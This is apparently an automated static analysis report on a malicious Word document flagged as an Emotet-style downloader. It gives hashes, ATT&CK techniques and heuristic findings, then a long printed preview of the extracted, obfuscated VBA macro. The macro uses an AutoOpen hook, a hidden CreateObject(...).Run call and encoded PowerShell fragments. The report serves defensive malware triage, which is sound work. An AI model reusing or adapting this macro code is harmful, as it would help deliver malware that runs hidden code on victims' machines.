Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c819002bc757501…

MALICIOUS

Office (OLE)

133.5 KB Created: 2018-04-01 21:57:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: bf2b6dd613ebe4f775e8585f6b609157 SHA-1: 82bc523d6b67a1998269ae7f586f4d2c3a84812c SHA-256: 1c819002bc7575014e46c1f9882ca34dc44ec606b18c27cf568853b19eca2714
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Word document containing a VBA macro. The macro utilizes obfuscated calls to `CreateObject` and appears to be designed to download and execute a second-stage payload, as indicated by the ClamAV detection and heuristic firings related to auto-execution and object creation. The presence of the 'macros.bas' file and the SHA256 hash are key indicators for further investigation.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    HWTDH = 41126 + 57476 * zNzcAu + CDate(QDzaiF + CDbl(15820)) * 81987 - 38869
CreateObject(JYaEpSSIrlfznc).Run VqXGojsvqRBMo + Chr(VBA.vbKeyC) + vMVNjQzWL + VfRMMJqjVkI + QAHDz, vbHide
wNmiGU = jEhJc
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub _
AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33385 bytes
SHA-256: 6561e40608564585bd3bab530844131b812d3fe7e51f9078450af327336058e9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
484 of 825 identifiers look randomly generated (e.g. 'ABhAGYANgAwADkANwA4AGIAZQAxAGMAYQBiADcAN') — consistent with name-mangling obfuscation. Carved artifact contains 17 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bTmtORQKizJ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rjJCbYvwnILY"
Function NPkdmFIAHoCR()
On Error Resume Next
IFiKR = TcRKi
ZcQRdq = 80195
LlJIz = 33095 + 22791 * lMaWj + CDate(saUtA + CDbl(41412)) * 10377 - 96060
bRXXDd = OBmfJH("wRkROpseRVICeS.MarShal]::ptRTOStrInGAnsi( [ruNTIME.InTeROpsErvICeS.mArsHAl]::secUrESTRingTOGLObALaLLoCanSI($('76H.Qt", 4, 109)
bvaMjh = BPXDrW
WNAANr = 9696
LFXjqz = 67657 + 81294 * MNHhM + CDate(FbYpL + CDbl(20246)) * 97151 - 61487
hpiwH = AoSli
wLOmB = 33860
DYGGq = 77564 + 5941 * iCqRHa + CDate(GwZAvt + CDbl(60244)) * 55818 - 7970
EELTh = OBmfJH("jKkA4ADQAZAAzADkANgA5ADMAZQBiADYAYQA5ADkAMABhADIANwBkADYAZQA5ADMAYwA3ADMAZgAxAGEAMAA3ADUAYQBiAGQANAAyADkANQBiADIANABlADQAZgBjADEAZABlADAANQAyADUAMwA3ADcAOAA4AGEAZgBjAGEAiiiXm", 4, 166)
rjhmA = CFUdAa
oIERVm = 53648
bjEFP = 25755 + 2705 * JXvCz + CDate(HVGdGn + CDbl(23803)) * 75297 - 95071
kFrDi = AwiGtr
wHCdMq = 51374
WhSXO = 93626 + 86356 * ZGpcQJ + CDate(tZwBm + CDbl(17004)) * 98527 - 78045
XJSTjHvoBQ = OBmfJH("GlsInMANQA0AGYAZQBmADUAYgBiADMANAA5ADkAMwBiADEAZAAwAGEAOQAyADcAMwA2ADUAkY", 6, 66)
QfTDlE = boqNY
fQuHM = 10109
DOUpqI = 8409 + 30404 * oJXtUH + CDate(dpBUqO + CDbl(76305)) * 51301 - 91891
JQpmQ = MnAni
pjpwa = 38926
TfGPM = 70793 + 59939 * WwZtnj + CDate(qaXzt + CDbl(26553)) * 87074 - 74113
waNlinz = OBmfJH("ODYANgAxADMANgAwAGQAOQA0AGMAZgA3ADIAZQAyADgAZQA1ADMAYwA4AGIAYQA0ADEAMQBhAGIAZQAyAGMANQBmAGQAZgBjADYAOQAyAGMAYQBkAGMAMQA2ADQAMAAyADEAZgAwADYANgA0AGIAMQA5ADUAZQAxADNrNVr", 2, 161)
whOAh = utrCL
CAdBkr = 81840
btupmt = 29539 + 48346 * aKasqT + CDate(VftGBf + CDbl(3932)) * 72196 - 46118
wCOvLR = jotdK
GPiAiz = 69786
PREuI = 10198 + 27437 * aXvpZm + CDate(YaPani + CDbl(28070)) * 57141 - 78241
ZzJjX = OBmfJH("iMpkAYwA0AGYANgA3ADgANAAzAGEAOQBkAGYANgBkADQAYQBjADIANAA4ADUANwAwAGYANQA1ADYAZQBhADYANgAxAGQAOAA0ADgAMwBiAGQAOAA2AGEAZgAxAGMAMABjADUAZQAyADkAZQBlAGIANAAyAGIANQA5ADUAOQBhADIANwAxAGQAMgA0AGQAkN4rUU", 4, 186)
KEOdqC = FcjkJ
DLswN = 41096
VIUXGa = 29079 + 44997 * dBoQBz + CDate(zJkVi + CDbl(68277)) * 94896 - 6474
HiQjX = ujAJS
LNvGW = 54751
FzrcXD = 82328 + 13125 * jGEwNS + CDate(ntmBwI + CDbl(35187)) * 96686 - 27141
ctwWjFV = OBmfJH("nai39,36,200,220,81,78,180,67,241,83,7,208,224,201,34,131,67,41,123,40,5,18,147,194,79,5,83,162,93)))) ) YHrz", 4, 102)
AacYTJ = pbIQFt
jBzAuE = 42453
tWINjb = 93905 + 93708 * tOhCQi + CDate(PzSGm + CDbl(18745)) * 50621 - 64873
jmwij = PbYfBw
sjXwB = 52567
ihhKt = 75042 + 31410 * PaBVP + CDate(WDsvY + CDbl(51071)) * 41751 - 10987
ijYiDdoVKER = OBmfJH("WBjwA5AGYANwBiADcAMAAj4H1i", 5, 17)
sCCvQF = wDRrd
Fmotiw = 23019
djjiVf = 61146 + 5735 * AicwoH + CDate(rAOtcz + CDbl(7535)) * 44982 - 88185
IISmrt = bbsOo
pCraA = 98877
UzNHwp = 83461 + 35478 * Jzohtf + CDate(bkphm + CDbl(3098)) * 67013 - 98167
IpRlojSEoPa = OBmfJH("lNGQH492d1116743f0423413b16050a5345MgB8ADgASwBkAGUAcQBIAFYAUQBEADUAdgB0AGoAQwBuAGQAZwA4AHYARgBtAHcAPQA9AHwAZQBiADYAzBEO", 6, 110)
baEEq = rQPIK
KoCCFi = 34770
aHPJAQ = 82235 + 20026 * zTOOu + CDate(OmOCo + CDbl(10134)) * 45522 - 35099
VJPkYh = USdni
SASXX = 51116
LzWXW = 71594 + 98394 * aNOAG + CDate(EpOPrI + CDbl(69739)) * 36424 - 89782
FELQmEjWUvT = OBmfJH("D6ADgAYwA3ADYANAAyAGQAYgAzADIAMQA0AGMAZAAzADgAMwA3ADkAZAA0AGIANAAyAGIANgA4AGEAYwBhADMAMAl,rIa@N", 3, 86)
rwqsZ = mmZcm
mrOni = 99757
FOncoN = 20563 + 8216 * jRcsC + CDate(fXuGd + CDbl(18848)) * 51252 - 53490
XcRHbH = kqzzHm
QuTEUb = 45564
RricCR = 67718 + 52514 * iHSXtB + CDate(TEjZT + CDbl(24184)) * 488 - 12147
ldPuhGzio = OBmfJH("8ZAA3AGIANAA2ADMAOQAwAGYAMQAwAGYAOAAyAGUAMwA5ADgANgBhADQAMAA4ADMAYQBkADcANgA2AGUAMQBkAGYANQBhAG9atrr", 2, 94)
cpzFw = jGbLZc
FiBPJV = 497
KXsvl = 31872 + 89545 * dErYZZ + CDate(lVrAbL + CDbl(93835)) * 64182 - 54078
VmjZz = hmjjEO
WLWAF = 35346
PBkNC = 66240 + 83411 * jtBUb + CDate(YDLst + CDbl(45320)) * 53730 - 99332
omjuz = OBmfJH(".K6NwA4AnFA@4", 4, 5)
wXpLSw = ujQIq
BVWOs = 58426
mhjnv = 95113 + 16410 * HMunP + CDate(mqMWY + CDbl(12895)) * 18741 - 97831
pFdIQ = cAlPFw
VwUOkV = 18677
uFQQcW = 90234 + 53656 * blALF + CDate(VursiL + CDbl(3142)) * 90448 - 39597
wXONlBsaop = OBmfJH("RM2YABiAGEAZAA0AGIAYwAxADUANQAzAGQANQA3ADkANQA0ADIAMwBkADEAYQA0AGYAMAA2AGUAZgBjADUAZgA3ADgAYQA5ADYANgBkADAAZQA0ADkANQBlADMANwA2ADEAZQBiADMAYwBhAGUANABhADcANwAzAGIAYgAxAGUAZQAyAGQA4zV2f", 5, 175)
bfLNk = KkauAN
oWhYdo = 37917
RPSzTt = 55928 + 51518 * sKvLB + CDate(jOWjaQ + CDbl(71103)) * 20740 - 57109
mWavDI = BUAaF
BzuaPV = 98318
BnfNQ = 72146 + 57524 * bRWsc + CDate(VwTnv + CDbl(39498)) * 30462 - 65375
hAzLQZHoZ = OBmfJH("A,64ABhAGYANgAwADkANwA4AGIAZQAxAGMAYQBiADcANABiADYAYgA3ADcAYwAyAGEAMAAzADUAZQBkADkANABmADEANgBiADkAYgBjADgAYgAzADQAZAAyADMAOAA0ADkANwAyADQANQBkADMANABiADkANABjPXwL", 5, 154)
zYPDW = iLPic
iuimWi = 91157
iDNTzi = 95822 + 12768 * ZioTfj + CDate(BiGztG + CDbl(13405)) * 18301 - 98590
ovdPf = JDjEf
JmJIiM = 28971
umKlW = 59566 + 22141 * fLQap + CDate(JnJbkb + CDbl(16070)) * 40497 - 19630
NFBEMvkh = OBmfJH("rADAAYgA0AGEAMAA2AGEAZgAwADcAOQA0AGQAMgBmADkAZQBjAGMANgBlAGIAZgA4AGYAZABhADAAZQA5AGIAYwAzAGIAMgA5ADQAMAAwAGMAYgAxAGUAYwBlAGIAMAA3ADIAZAA4AGYAYjjKDPUI", 2, 141)
TIRjqC = uarZBl
tAwtXV = 75682
ITdVz = 4887 + 53723 * PZcSSN + CDate(iZdjW + CDbl(99708)) * 96388 - 30865
dcXmFU = WsQVb
spnok = 78859
uAHaj = 48891 + 91601 * WtEDE + CDate(jtsvdX + CDbl(69096)) * 52106 - 33634
fAdJOwcUziY = OBmfJH("itj@ ilAGYAZAAwAGUANwBjAGQANwA0ADcAOQBlADMAZABlAGEAMwBkADUAZgBhADgAMAA0ADkANQA4AGUAZQBlAGUAZgA0ADgAOQA4AGQAMwA5Amw", 7, 106)
jcZQAG = QhmjcU
CjZuAz = 23211
WlJvv = 86158 + 12463 * iTidt + CDate(zfXQz + CDbl(75840)) * 42502 - 34815
LVdiXt = VFiBv
qHqpGD = 85539
aAwTN = 1983 + 23944 * ktzcJ + CDate(MjCVD + CDbl(90083)) * 68537 - 25374
qUtKm = OBmfJH("XkUKkADYAZQBhADMANQAxADYANwAxADYAOAAxADIANQA1ADgAYQBiADUAMAAzAGYAMQBiADYAYwAxADQANQBmADYAYwBiAGYAOQAwAGMAYgBiADEAntzts", 5, 109)
QzcKq = sFzIj
UiLKsJ = 2095
lDTjo = 90172 + 13105 * lAziNo + CDate(WkrVFs + CDbl(76557)) * 1855 - 37975
JtGwJ = Tbzkj
wpdwq = 74815
qutqhO = 15679 + 10053 * KMBWft + CDate(ZzKKss + CDbl(63109)) * 8443 - 1139
LKAnBP = OBmfJH("dfQMAYQA4ADMAZgAyAGQANgBmADEAMgA4ADYANwA1ADUAYgBmADcAYQA4AGEAZQBiADEAOABmAGIAOQAwAGQANwBkADkAOAA4AGQANhlOb", 4, 99)
jqaAMo = XDLPD
kBwmQ = 71428
KiDLDA = 62342 + 54293 * wNppFi + CDate(ihwXA + CDbl(97028)) * 55320 - 65772
DqjcG = UfwGC
kHZWnu = 17360
wQnhhK = 96324 + 39653 * NVIKj + CDate(RYrScj + CDbl(37430)) * 14871 - 55104
iWaYzkBaX = OBmfJH("UHiiMAAyAGQAYwAwAGUAMAA0AGIANwAzADkAMgA2ADAAMQBhADQANQBkADEAYwBiADUAYgA5AGMAZQA2ADkAYwA3AGMANQA5ADEANwA0AGIANQBiAGQAZQAiK7", 5, 115)
NiKqO = LsWCm
wuvDA = 55351
ltXBVH = 95061 + 91486 * jKiILd + CDate(cninz + CDbl(19190)) * 30182 - 75615
ijsXB = WSbRDA
JLATSd = 5781
UmwEoX = 70232 + 57932 * dMzAs + CDate(cADYj + CDbl(80674)) * 66681 - 69408
KIzQLAECH = OBmfJH("QsYnNMAYwAwADUAMQAzAGEAYwBkADgAOQAyAGUANwA4ADAAMQBlADkANQAzAD4jJI", 6, 56)
OFwzTX = raENzu
NZmoX = 77092
DaQmXS = 28894 + 9430 * JlCPp + CDate(bkKfCV + CDbl(43570)) * 92207 - 60176
amAoIz = BiPQul
chclh = 25176
lkHvz = 99679 + 4533 * THGEE + CDate(PCtuDk + CDbl(96036)) * 26208 - 17083
sqBkMoDfKRF = OBmfJH("jHijNwA3ADcAZgAwADgAOQA5ADcAMgA2ADEANAAzAGEAMwA2ADgANwBlADAAOAAyAGYAOAAxADEAMAAwAA==' |cotiP@", 5, 85)
QlQYL = VmZYoC
sIAZzK = 14765
qhUNi = 66527 + 83869 * cIXbFi + CDate(jiqsm + CDbl(38714)) * 57759 - 60774
KXkfF = AaJjcb
RMfflc = 28234
vOlBUi = 88979 + 20130 * IIJzol + CDate(BKrkv + CDbl(55850)) * 14186 - 21468
WDYUw = OBmfJH("KEAYwA3AGEAMABkADkAMgBiAGEAMABkAGEAYwBlAGIAZgA2AGr4%wl", 2, 48)
qTSXjQ = vNPIw
kNGQTb = 37055
BcbFd = 53123 + 69930 * DSHaMd + CDate(bnGrF + CDbl(27169)) * 69926 - 48893
loZpc = ZvGMj
HqbXcA = 69239
AWNfE = 42826 + 32762 * sjBQai + CDate(nBNdzG + CDbl(6852)) * 91043 - 68239
oIlbBNM = OBmfJH("aimK0ADYANABjADAAYwAyAGUANgAzADAAMgAxAGEANgBkAGMAMQAzAGUANgA1ADAAOABhAGMANAAwAGMAOQA4ADcANAA5ADgAZQA2ADYANAA2ADcAZAA4ADUANgBiAGEAMwBmADYAMABjAGEAZgBjADcAYQAyADcAZAA5ADAAZAA4ADgANgA0L.%H", 5, 177)
ELhMU = wCnRO
tlFBpD = 44774
PzcAn = 42417 + 28402 * kSzad + CDate(zKjYY + CDbl(48147)) * 5148 - 27875
UXksOr = NQFUh
wXnMk = 93446
DAbdo = 30800 + 5743 * zCqUz + CDate(wVBWP + CDbl(98399)) * 15478 - 37140
jEzTv = OBmfJH("Wzb4,wGQAYgA2ADUANgBjAGQANwA5AGMAYgBmAGQANwBlADQAOABhADYAOQA4ADEAYgAwAGMAZQBiADgAYQBmAGUAOQBjADYANQAzADIAOAA1ADIAYwBlAGMANwAwAGEAMQAxADQAZQA2ADEANAAwADAAMgBhADEAMwBiAGYAMwA3ADcAYwA2AGYAOAA2AGIAMQA0AGEAZQAwU", 7, 198)
QEiuvw = kzMGd
wHEwo = 23611
NPAkp = 98554 + 3505 * qVzOkP + CDate(YFVHL + CDbl(59232)) * 34785 - 81473
YKKaPq = VjoXM
tKwojE = 33911
XQShI = 3132 + 31310 * zHBmQa + CDate(NNudaI + CDbl(23400)) * 55532 - 6013
qiOAM = OBmfJH("iD1ADcANQA1ADQAMwBlADUANQAxAGQANgA1AGYAYwBlAGUAZQBjADQAYgBiADkANQA5ADEAZQrjR1Q", 3, 71)
MLpbd = RIUBt
sHpwkj = 62591
aiTck = 50544 + 72631 * qzLnPS + CDate(paJWwj + CDbl(57655)) * 92206 - 47760
uwtBI = uHtkM
EXJWz = 6265
Tdombz = 75784 + 82087 * BqHhb + CDate(wzhmA + CDbl(75144)) * 40554 - 13152
OoPJPCYswf = OBmfJH("l1aAYwBiAGIAMAA1AGQAZgAxADkAZABlADgAOABjADcANABiADgAMQA1ADUAOQAwADkAYwAxAGMAYwBiADMAYgA5ADkAOABiADUAZQAzADcAZQBlAGQANgBjAGUANAA2AGMAYQBhAGQANAAjdiM", 4, 140)
HilVD = CDBNok
JSCUS = 49590
Ccikk = 52278 + 18811 * MCswWm + CDate(wOSmfz + CDbl(74343)) * 11953 - 38257
msfhZb = VuUUO
ziPKf = 62203
iBaFoG = 16219 + 94338 * ozhiB + CDate(cqcUU + CDbl(15712)) * 38501 - 12694
AiczXKzSVAB = OBmfJH("DNi6j1AGQAZABjADQAMAA1ADcAYQBlADIAZABkADIANwAzADYAMAAyADMAYgA5ADAAMAA5AGUAYwA0AGEAMAA4AGQAMQBlADEAOQA5AGIAMwAzADcAOABlADgAMQBhADkAMgBjADEAYQA5AGQAYwAxADYANwA6Y", 6, 152)
OudEFb = IiiOl
asSSY = 3423
WnkKo = 3801 + 49262 * KLlOvz + CDate(ucDrro + CDbl(77936)) * 98222 - 91791
WSOjbs = vsLqj
zcKvWz = 77560
adNNm = 53298 + 95542 * AOBko + CDate(OYjLK + CDbl(77187)) * 79068 - 55798
KJJSIKNq = OBmfJH("9UAOQA5ADQAYgA2ADUAYQBmADgAMwAyADYANgA3ADcAYgAz0OdFR7", 3, 45)
fMVMPK = rwOlvp
SoRWu = 84413
owriNm = 28753 + 21327 * AUzBhA + CDate(PhpGX + CDbl(5198)) * 42212 - 4818
jjTIoL = vVDdCJ
pBFlN = 36407
BwFSGw = 99249 + 45575 * uqVdOP + CDate(UAoVJ + CDbl(29324)) * 72384 - 96475
sbUjPE = OBmfJH("VFjrQNAA3ADkAYgBiADEAZgA5ADYAYQA5AGMAMwBhADMANwBmADcAYQAyADUAZQBmADYAZABjAGYAZQAyAGUANgA3ADYANABhADcANwBhAGEAMQAwADUAMAA2AGIAMwBlAGEANQAyADcANAA2ADAANQA5ADQAMwBmAUOw", 6, 157)
AXBRa = Xzpik
piOjX = 88499
nhjrZ = 54816 + 69732 * ZzcmNH + CDate(FYwFA + CDbl(80249)) * 35819 - 46960
pWamIB = zOBiwA
SOlMGd = 29262
XpaHL = 17740 + 35482 * sYUViE + CDate(Wwwwm + CDbl(75248)) * 34835 - 86521
zZYAqtoCYE = OBmfJH("G0Xw7rA1ADcAOQBhADYAZABiAGQAMwBkAGQANgA1ADMANAAxADUANgA2ADcANQA4ADkAZAA5ADgAYQA4ADUAZAA5AGUAYQA5ADYANQA4ADMANQAzADYAMAAyAGEANQAyADkAYQBmADAaB6", 7, 133)
ojILv = fXjhw
MBqifZ = 17193
bfCOw = 29568 + 30984 * fcVFw + CDate(SbAHt + CDbl(64104)) * 86792 - 94552
dmEzb = YVaiS
taQLza = 92066
MhkZO = 93197 + 40550 * NWvmLF + CDate(rlOPlo + CDbl(41049)) * 12925 - 10364
zqlEAvWoJ = OBmfJH("VM3AGMAMQAxADIAYQBmADUAZQBlADEAYQA5ADMAMAAwADYAOAA4ADAANgBkAGUAYQAzADEANwA1ADkAMgAyAGYAZQBmAGEAYwA5AGYAYgBlADYANAAxADYAMwBlADQAMgBhADUAZQBhAGQAYgA1AGYAMQAwAGMAYgA1ADQAYwAyAGIAMwA4ADAAMABhADkANAA0ADAAZgzUDwzz", 3, 199)
sXjwU = XiSFvB
ifDdIE = 66531
dozZai = 21081 + 19710 * rbfKW + CDate(pzskY + CDbl(15068)) * 86793 - 98974
qjvNrE = FISow
qEHPji = 93394
ihqvR = 57767 + 96520 * iXdbuD + CDate(PGwPP + CDbl(27594)) * 42333 - 59800
rhnrnizT = OBmfJH("@1ADAAZgA1AGIAMgBmADIAMwBmADQAMQA3ADkANABlAGMAYQAxADcAZAAxAGEAZgA4ADEAMwBlAGYAZABjAGEAOAAxADYANAAzADcAYwAwAGIANABmAGUAYgA4AGQAZQAxADYAOAAwAGMAZABiAGIAZABiAGQAOQAzADMAOQAwADIjX0FR", 2, 171)
QZnoFZ = TolMCF
ZaQLZ = 89702
VqnCs = 18718 + 68778 * htICw + CDate(sqJoJd + CDbl(19149)) * 75037 - 18076
CsjvD = sjvWw
CPKFjT = 40614
rJiwi = 43082 + 15512 * pvzUjG + CDate(uPFwU + CDbl(26688)) * 15681 - 71133
GnfbMi = OBmfJH("tQAGUANwA5AGIAnidN", 3, 12)
UqKmt = zadChs
kRjOE = 87331
WiIvAP = 82013 + 52261 * AIjYU + CDate(oLWuNv + CDbl(48652)) * 83378 - 62509
ifNQWY = rDjcY
vZwmdG = 61037
lGomBD = 55100 + 46021 * mTfqw + CDate(YInXG + CDbl(15075)) * 61163 - 1451
kHnFud = OBmfJH("5j8nzNveRttO-SECURESTRInG -key  240,35,65,klwI", 6, 37)
iOzhz = HuDwsY
iVVfT = 1165
JszwBX = 58938 + 80200 * ZrFGaI + CDate(FuaPfZ + CDbl(54970)) * 89494 - 7038
NTizJ = VrcAV
PfVYt = 74922
HIfFzB = 28381 + 6026 * BASlTo + CDate(NWHab + CDbl(40127)) * 6496 - 33959
IMkXz = OBmfJH("MJMEANAAwADUANQBlADEAMgBkADQAZgBhADcAZgBmADgAMgA2AGYAZQA0AGUANwAxADEAYgBlADgANQBjADQAZQAyAGIAOQA3ADUvKOi", 4, 97)
ADuYIc = HhYsh
izuGl = 80866
hjwacI = 3657 + 72643 * UmFOM + CDate(zUicYn + CDbl(21369)) * 7536 - 90512
vBzIZt = SdHptV
OwSZF = 54760
YNzoLt = 72623 + 66232 * zdaOG + CDate(OAjztd + CDbl(43203)) * 63147 - 91856
itvYqZ = OBmfJH("iIYgA0AGIAYQBkADIAOQA2AGQAZQA1AGMAZQA4ADkANgA4ADcAZgAzAGUAYgBhADYAZgBhAGUAYgBhAGEAZgBmADAANKjIO", 3, 89)
TibRh = HGwWoA
NzvkS = 14928
SGzUj = 33405 + 86469 * jSBjB + CDate(rLKQdJ + CDbl(40643)) * 39332 - 30628
wlIXA = wqLika
XAHCQF = 81485
tZzijY = 95160 + 13861 * KWhoX + CDate(arwjv + CDbl(13680)) * 1377 - 57828
itQQGVb = OBmfJH("Uz.sOQA4AGYAMQBkAGYAZQBkADMAZAAzADQANAiRjk", 5, 34)
poVqPP = GpwCMK
UHAjAX = 27926
zAojLT = 42949 + 90900 * svIts + CDate(GrviP + CDbl(84233)) * 85163 - 39578
VzaVqk = PTDpU
CDrXB = 34909
YFCQtr = 78683 + 90232 * pDltH + CDate(GZBJuf + CDbl(1660)) * 16504 - 82453
EdBiIf = OBmfJH("CA3AGUAMABkAGIAMgBhAGIAZABjADUAMgA1ADAAOAA0AGYANABjADQAOABjADkAMgAzADcAOQBmJOCO6%r", 2, 73)
UHQsZS = MSDQwK
zvUGdA = 6308
wKwRVr = 46012 + 35639 * wLUYj + CDate(CjXLZ + CDbl(52375)) * 7799 - 55013
tCBQP = pELvf
tYVYNf = 55153
zNFtRM = 72877 + 21667 * wXbtVh + CDate(HHIwF + CDbl(44373)) * 66306 - 54433
NUbpPvJNCIp = OBmfJH("V jaEh & ( $verBOSEPREfERenCe.tOSTRiNg()[1,3]+'X'-JOIN'') ( ( [runtIMe.inTe1s", 7, 69)
aUUtAw = WjRjw
zCmiK = 29595
EjYqz = 32872 + 11608 * jjaid + CDate(rrQSt + CDbl(99084)) * 96978 - 9697
VRtmTt = qtrGPi
FGdkJH = 79508
XwUiq = 35032 + 15912 * ZjTwCt + CDate(JvSlJ + CDbl(26186)) * 3668 - 88949
BYMbdPFobjZ = OBmfJH("@MAMwBhADEAYgBhADUAMQBiAGIAZQBmADYAZQBmADIAMQBkAGUANwBiADcAMgA4ADYAMwBjAGIAZQBiADgAOAA1ADIAMQAwADQAMgA5AGUAYgAwAGQANgBmADQAZAAzAGUAMQBiADEAYwBlADkAYQBmADMANAAxADKnLd40Yw", 2, 160)
FaqwBE = UzDtw
kDJhz = 34414
vklMqU = 77629 + 82343 * fDWCn + CDate(PcLsVV + CDbl(97930)) * 98219 - 98178
KlLbw = iPvqD
FnlwRX = 98076
ziwUQ = 46466 + 42705 * YHSIwO + CDate(qMlGOK + CDbl(81815)) * 22179 - 95647
FQWLzjv = OBmfJH("ai.IiYaGMAMgA2AGQAZgAzADkANwA4ADkAMwBiADgAOQAxAGYAOQA3ADQAZAAzADkAYQA0ADkAZEr", 8, 68)
qiQij = PtCTbn
LarArn = 44488
Arwvlf = 33710 + 70193 * GXAKZu + CDate(EoUDP + CDbl(87844)) * 90779 - 25883
vfFEN = CZwaMF
aYNbc = 52213
mcRLv = 35686 + 23501 * QGdIMu + CDate(CdFCD + CDbl(73425)) * 50672 - 74640
wRQCOdqwY = OBmfJH("wQA4AGUANwAwADcAMQA5ADYANQBjAGQAOAA2ADEAYwBlAGUAZABlADMANgBkAGUAZQBjADEAYgA0ADQAMQBmADAANgBhAGMANAA1AGMAZABlAGMANgAxAGYANgAzAGYANAA2AGMAOQVO72w", 2, 137)
jztJKc = OGjZT
tJuZC = 16539
zDsTQW = 70641 + 42707 * XfLpib + CDate(YDpnAP + CDbl(3998)) * 56634 - 38892
ITjvXY = LMZcG
psNclr = 63184
ZztiPz = 42479 + 82456 * EGFdRm + CDate(JsJNwK + CDbl(44372)) * 49622 - 4922
kqvtbiO = OBmfJH("irjjA3ADAAOQAzAGQAMQA2ADEAMAAzADgAMAA2AGYAYgBhADcANQA2ADUANAA4ADEAMQA1ADcAMwBlADkANwAxADIAOQBhADYAMABhADgANgBjAGiC", 5, 108)
CiFiFR = DjWqQI
CURUVA = 8410
GkSsi = 37579 + 79530 * aTcSv + CDate(kQzpQa + CDbl(65526)) * 30331 - 74398
AzYIO = PEUzj
pScXi = 40400
wMWfr = 81523 + 18029 * dYrQh + CDate(iLQvH + CDbl(80405)) * 58255 - 74289
REmaUa = OBmfJH("jABhADUAZQA3ADQAMAA1ADkANQA1ADcAMQBkADgANAA2ADkAMwA5ADkAYgBiAGEAZQBjADUANQAxADkAMQA5AGIAYwA0O0d@W", 2, 91)
Wtzwbw = OpSrk
dRjRE = 10056
fcjBCH = 13520 + 21603 * afiLUz + CDate(trhPSK + CDbl(4387)) * 97869 - 79457
KhiFFwiisVZ = hhzOpkZBLuNv + """" + UozmOmIZfdfnZX
NPkdmFIAHoCR = DblBTFkoB + SVahMQZZLNluJ + jsEYrmipMiMlk + KhiFFwiisVZ + JFZzwMaT + NUbpPvJNCIp + bRXXDd + IpRlojSEoPa + sbUjPE + waNlinz + BYMbdPFobjZ + WDYUw + KIzQLAECH + LKAnBP + hAzLQZHoZ + qUtKm + ldPuhGzio + IMkXz + KJJSIKNq + NFBEMvkh + wRQCOdqwY + zZYAqtoCYE + OoPJPCYswf + qiOAM + EELTh + itQQGVb + kqvtbiO + XJSTjHvoBQ + itvYqZ + REmaUa + GnfbMi + iWaYzkBaX + zqlEAvWoJ + ijYiDdoVKER + oIlbBNM + FELQmEjWUvT + EdBiIf + fAdJOwcUziY + FQWLzjv + wXONlBsaop + omjuz + jEzTv + AiczXKzSVAB + rhnrnizT + ZzJjX + sqBkMoDfKRF + kHnFud + ctwWjFV
nMjMC = UbPNi
qTfjiv = 30520
ZdszPW = 45382 + 11681 * dKQzwn + CDate(jDXUr + CDbl(73279)) * 41134 - 63406
End Function

Attribute VB_Name = "DlMaMtFUAdCwF"
Sub ocAjiIrbFjLqs()
hKBHJ = cvBLZ
NPqDH = 8078
jHTnY = 63565 + 30586 * bfcOWB + CDate(mqcupw + CDbl(29296)) * 85471 - 52207
Application.Run "KUiojwKob", NPkdmFIAHoCR
JVvbkC = HVLINX
atNAQZ = 94365
HWcAa = 26494 + 28418 * ROswP + CDate(UUrcA + CDbl(13486)) * 2018 - 79700
End Sub
Sub _
AutoOpen()
On Error Resume Next
YSzTvi = cCrGO
zjbOs = 92193
tVYNPY = 84948 + 18500 * YqCRnE + CDate(buSqCm + CDbl(82143)) * 14835 - 17247
wVHAmO = vpDum
Call ocAjiIrbFjLqs
XqEod = 2301
wlvBA = 37449 + 50024 * rGiQE + CDate(cWCml + CDbl(53616)) * 94945 - 43604
End Sub
Function jsEYrmipMiMlk()
On Error Resume Next
Qakjl = SccuL
zawjpL = 76095
otGcOz = 41994 + 85619 * EsZuJ + CDate(ciSLm + CDbl(41478)) * 83611 - 68334
fDHjPHDlPN = OBmfJH("sVzTUKUiojwKob%=eAADft0a", 6, 13)
RuzwB = BmPjjX
IVmuZ = 52567
BlwnT = 42388 + 95734 * zBFzK + CDate(LUBZrL + CDbl(5539)) * 12952 - 19196
ELFSE = RSitX
zwajv = 44587
otiml = 91006 + 63938 * rbHtE + CDate(wTJpUk + CDbl(13349)) * 14957 - 21521
izOqPJ = OBmfJH("O %KhRrtHiVEX", 2, 6)
vAqCu = XUafda
YUXXIZ = 82517
zScwc = 32800 + 82181 * mGjiNr + CDate(EiLsDm + CDbl(36853)) * 48597 - 31097
Qwdrl = cSCXRq
stwBd = 70887
